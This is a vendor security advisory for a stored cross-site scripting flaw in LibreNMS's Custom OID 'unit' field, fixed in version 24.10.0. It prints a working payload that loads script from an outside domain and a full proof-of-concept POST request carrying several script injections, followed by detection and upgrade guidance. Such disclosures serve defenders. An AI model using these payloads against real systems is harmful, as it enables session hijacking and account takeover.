GHSA-gv4m-f6fx-859x
HIGHGHSA-gv4m-f6fx-859x is a high-severity (CVSS 7.5) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-gv4m-f6fx-859x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php
Blast Radius
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Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.
The payload used to exploit this vulnerability is:
<script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90
PoC
- Create a new OID for a device using the following payload in the "unit" parameter:
<script/src=//15.rs> - Save the OID.
- Navigate to the "Custom OID" tab of the device.
- Observe that the injected script executes in the "Unit" column of the table.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gv4m-f6fx-859x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gv4m-f6fx-859x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gv4m-f6fx-859x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gv4m-f6fx-859x in your dependencies?
O3 detects GHSA-gv4m-f6fx-859x across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.